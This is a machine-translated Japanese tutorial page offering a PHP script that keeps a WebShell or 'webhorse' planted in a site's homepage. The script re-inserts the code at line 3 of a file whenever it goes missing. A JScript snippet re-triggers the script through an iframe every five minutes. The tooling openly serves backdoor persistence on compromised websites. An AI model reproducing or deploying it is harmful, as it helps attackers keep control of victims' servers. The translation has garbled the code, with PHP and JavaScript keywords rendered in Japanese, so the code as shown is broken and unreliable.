ホームページ >バックエンド開発 >PHPチュートリアル >PHP は file_PHP チュートリアルの指定された行にコードを書き込みます
一部の Web サイトのホームページはキャッシュされたページであり、追加した Webhorse コードまたは WebShell コードは更新やその他の要因によって頻繁に強制終了されるため、このコードを作成しました:
$file="aa.php" ;
$code="";
$f=fopen($file,"r+");
$content=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3);
リンク解除($file);
foreach($arr$value として挿入)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[] = $line .$s . "n";
}その他{
$arr[] = $line;
}
}
fclose($file_handle);
$arr を返します;
}
?>
このファイルを php に保存した後、小さなプログラムを使用して数分ごとに実行できます。 Opera などのブラウザにはこの機能があります。ただし、実行するために別の HTML コードを追加しました。IE を使用して、HTML を開いて任意の場所にスローすることができます。
<スクリプト言語="JScript">
関数 singOut() {
var O = document.createElement("iframe");
O.src="http:// www.2cto.com / 上記の php ファイル.php";
O.width=100;
O.高さ=100;
document.body.appendChild(O);
}
window.setInterval("singOut();",300000);
スクリプト>